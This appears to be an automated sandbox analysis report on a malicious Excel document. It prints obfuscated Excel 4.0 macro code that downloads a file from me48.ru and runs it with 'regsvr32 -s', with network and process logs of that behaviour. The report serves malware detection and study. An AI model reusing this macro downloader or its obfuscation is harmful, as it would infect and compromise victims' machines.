                                                                                                                                                      Stream Size:4096
                                                                                                                                                      Entropy:0.254255489206
                                                                                                                                                      Base64 Encoded:False
                                                                                                                                                      Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . | . # . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                                                                                                      Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00
                                                                                                                                                      Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 326259
                                                                                                                                                      General
                                                                                                                                                      Stream Path:Workbook
                                                                                                                                                      File Type:Applesoft BASIC program data, first line number 16
                                                                                                                                                      Stream Size:326259
                                                                                                                                                      Entropy:7.65610249915
                                                                                                                                                      Base64 Encoded:True
                                                                                                                                                      Data ASCII:. . . . . . . . f 2 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . l . . 9 P . 8 . . . . . . . X . @ . . . . . .
                                                                                                                                                      Data Raw:09 08 10 00 00 06 05 00 66 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

                                                                                                                                                      Macro 4.0 Code

                                                                                                                                                      CALL("Ke"&????2!HN342&"32", "Cr"&????2!HP370&"yA", "JCJ", ????2!HE340&????2!HE355, 0)
                                                                                                                                                      
                                                                                                                                                      CALL("U"&????2!HP360, "U"&????4!E65, "IICCII", 0, ????2!EE100, ????2!HE340&????2!HE355&????2!HE369, 0, 0)
                                                                                                                                                      
                                                                                                                                                      =RUN(R59),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=RUN(????4!D50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(""Ke""&????2!HN342&""32"",""Cr""&????2!HP370&""yA"",""JCJ"",????2!HE340&????2!HE355,0)",,,,,,,,,,,,,,,,,=RUN(????5!A50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
                                                                                                                                                      "=CALL(""Ke""&????2!HN342&""32"",""Cr""&????2!HP370&""yA"",""JCJ"",????2!HE340,0)",,,,=RUN(????1!M66),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CONCATENATE(E67,E68,E69,E70,E71,E72,E73,E74,E75,E76,E77,E78,E79,E80,E81,E82,E83)",,,,"=CHAR(SUM(F66,G66,H66))",25,35,25,"=CHAR(SUM(F67,G67,H67))",20,42,20,"=CHAR(SUM(F68,G68,H68))",25,26,25,=CHAR(F69-G69-H69),100,22,10,=CHAR(F70-G70-H70),200,50,39,=CHAR(F71-G71-H71),500,300,81,=CHAR(F72+G72-H72),120,130,140,=CHAR(F73+G73-H73),200,300,392,=CHAR(F74+G74-H74),400,500,789,=CHAR(F75-G75+H75),500,430,27,=CHAR(F76-G76+H76),310,270,60,=CHAR(F77-G77+H77),200,160,44,"=CHAR(SUM(F78,G78,H78))",56,37,18,"=CHAR(SUM(F79,G79,H79))",27,18,25,"=CHAR(SUM(F80,G80,H80))",44,58,3,=CHAR(F81-G81-H81),384,115,161,=CHAR(F82-G82-H82),762,504,157,=CHAR(F83-G83-H83),501,328,108
                                                                                                                                                      "=CALL(""U""&????2!HP360,""U""&????4!E65,""IICCII"",0,????2!EE100,????2!HE340&????2!HE355&????2!HE369,0,0)"=EXEC(????3!W36&????2!HE340&????2!HE355&????2!HE369)=HALT()

                                                                                                                                                      Network Behavior

                                                                                                                                                      Network Port Distribution

                                                                                                                                                      TCP Packets

                                                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                      Nov 29, 2020 05:07:13.152154922 CET4971780192.168.2.3188.225.24.87
                                                                                                                                                      Nov 29, 2020 05:07:13.216388941 CET8049717188.225.24.87192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:13.216506004 CET4971780192.168.2.3188.225.24.87
                                                                                                                                                      Nov 29, 2020 05:07:13.217015982 CET4971780192.168.2.3188.225.24.87
                                                                                                                                                      Nov 29, 2020 05:07:13.275978088 CET8049717188.225.24.87192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:14.273068905 CET8049717188.225.24.87192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:14.273186922 CET4971780192.168.2.3188.225.24.87
                                                                                                                                                      Nov 29, 2020 05:07:19.278377056 CET8049717188.225.24.87192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:19.278665066 CET4971780192.168.2.3188.225.24.87
                                                                                                                                                      Nov 29, 2020 05:08:58.494246006 CET4971780192.168.2.3188.225.24.87
                                                                                                                                                      Nov 29, 2020 05:08:58.805478096 CET4971780192.168.2.3188.225.24.87
                                                                                                                                                      Nov 29, 2020 05:08:59.414936066 CET4971780192.168.2.3188.225.24.87
                                                                                                                                                      Nov 29, 2020 05:09:00.618120909 CET4971780192.168.2.3188.225.24.87
                                                                                                                                                      Nov 29, 2020 05:09:03.024389982 CET4971780192.168.2.3188.225.24.87
                                                                                                                                                      Nov 29, 2020 05:09:07.837348938 CET4971780192.168.2.3188.225.24.87
                                                                                                                                                      Nov 29, 2020 05:09:17.447449923 CET4971780192.168.2.3188.225.24.87

                                                                                                                                                      UDP Packets

                                                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                      Nov 29, 2020 05:06:55.524502039 CET5754453192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:06:55.560277939 CET53575448.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:06:56.355843067 CET5598453192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:06:56.382944107 CET53559848.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:06:57.138295889 CET6418553192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:06:57.165430069 CET53641858.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:06:57.932497025 CET6511053192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:06:57.961117983 CET53651108.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:06:58.729235888 CET5836153192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:06:58.764780045 CET53583618.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:06:59.639206886 CET6349253192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:06:59.674906969 CET53634928.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:00.661906958 CET6083153192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:00.699749947 CET53608318.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:01.545825958 CET6010053192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:01.583697081 CET53601008.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:04.864139080 CET5319553192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:04.891419888 CET53531958.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:07.387491941 CET5014153192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:07.422957897 CET53501418.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:08.518570900 CET5302353192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:08.562292099 CET53530238.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:08.637530088 CET4956353192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:08.664839983 CET53495638.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:08.843313932 CET5135253192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:08.892076969 CET53513528.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:09.796622038 CET5934953192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:09.823982000 CET53593498.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:09.918365955 CET5135253192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:09.953866005 CET53513528.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:10.906039953 CET5135253192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:10.941926956 CET53513528.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:12.921809912 CET5135253192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:12.957438946 CET53513528.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:13.022106886 CET5708453192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:13.150532007 CET53570848.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:13.186043978 CET5882353192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:13.223577023 CET53588238.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:13.982821941 CET5756853192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:14.010281086 CET53575688.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:14.869199991 CET5054053192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:14.896553040 CET53505408.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:16.922705889 CET5135253192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:16.949847937 CET53513528.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:26.435224056 CET5436653192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:26.462431908 CET53543668.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:28.239967108 CET5303453192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:28.276979923 CET53530348.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:41.475390911 CET5776253192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:41.526829004 CET53577628.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:07:44.931863070 CET5543553192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:07:44.959130049 CET53554358.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:08:00.546343088 CET5071353192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:08:00.573478937 CET53507138.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:08:05.213079929 CET5613253192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:08:05.250328064 CET53561328.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:08:35.072725058 CET5898753192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:08:35.099998951 CET53589878.8.8.8192.168.2.3
                                                                                                                                                      Nov 29, 2020 05:08:36.965794086 CET5657953192.168.2.38.8.8.8
                                                                                                                                                      Nov 29, 2020 05:08:37.003660917 CET53565798.8.8.8192.168.2.3

                                                                                                                                                      DNS Queries

                                                                                                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                      Nov 29, 2020 05:07:13.022106886 CET192.168.2.38.8.8.80x7966Standard query (0)me48.ruA (IP address)IN (0x0001)

                                                                                                                                                      DNS Answers

                                                                                                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                      Nov 29, 2020 05:07:13.150532007 CET8.8.8.8192.168.2.30x7966No error (0)me48.ru188.225.24.87A (IP address)IN (0x0001)

                                                                                                                                                      HTTP Request Dependency Graph

                                                                                                                                                      • me48.ru

                                                                                                                                                      HTTP Packets

                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                      0192.168.2.349717188.225.24.8780C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      TimestampkBytes transferredDirectionData
                                                                                                                                                      Nov 29, 2020 05:07:13.217015982 CET281OUTGET /ds/231120.gif HTTP/1.1
                                                                                                                                                      Accept: */*
                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                      Host: me48.ru
                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                      Nov 29, 2020 05:07:14.273068905 CET295INHTTP/1.1 200 OK
                                                                                                                                                      Date: Sun, 29 Nov 2020 04:07:13 GMT
                                                                                                                                                      Server: Apache/2.4.18 (Ubuntu)
                                                                                                                                                      Content-Length: 0
                                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                      Content-Type: image/gif


                                                                                                                                                      Code Manipulations

                                                                                                                                                      Statistics

                                                                                                                                                      CPU Usage

                                                                                                                                                      Click to jump to process

                                                                                                                                                      Memory Usage

                                                                                                                                                      Click to jump to process

                                                                                                                                                      High Level Behavior Distribution

                                                                                                                                                      Click to dive into process behavior distribution

                                                                                                                                                      Behavior

                                                                                                                                                      Click to jump to process

                                                                                                                                                      System Behavior

                                                                                                                                                      General

                                                                                                                                                      Start time:05:07:07
                                                                                                                                                      Start date:29/11/2020
                                                                                                                                                      Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
                                                                                                                                                      Imagebase:0xe60000
                                                                                                                                                      File size:27110184 bytes
                                                                                                                                                      MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:high

                                                                                                                                                      General

                                                                                                                                                      Start time:05:07:14
                                                                                                                                                      Start date:29/11/2020
                                                                                                                                                      Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll
                                                                                                                                                      Imagebase:0xb70000
                                                                                                                                                      File size:20992 bytes
                                                                                                                                                      MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Reputation:high

                                                                                                                                                      Disassembly

                                                                                                                                                      Code Analysis

                                                                                                                                                      Reset < >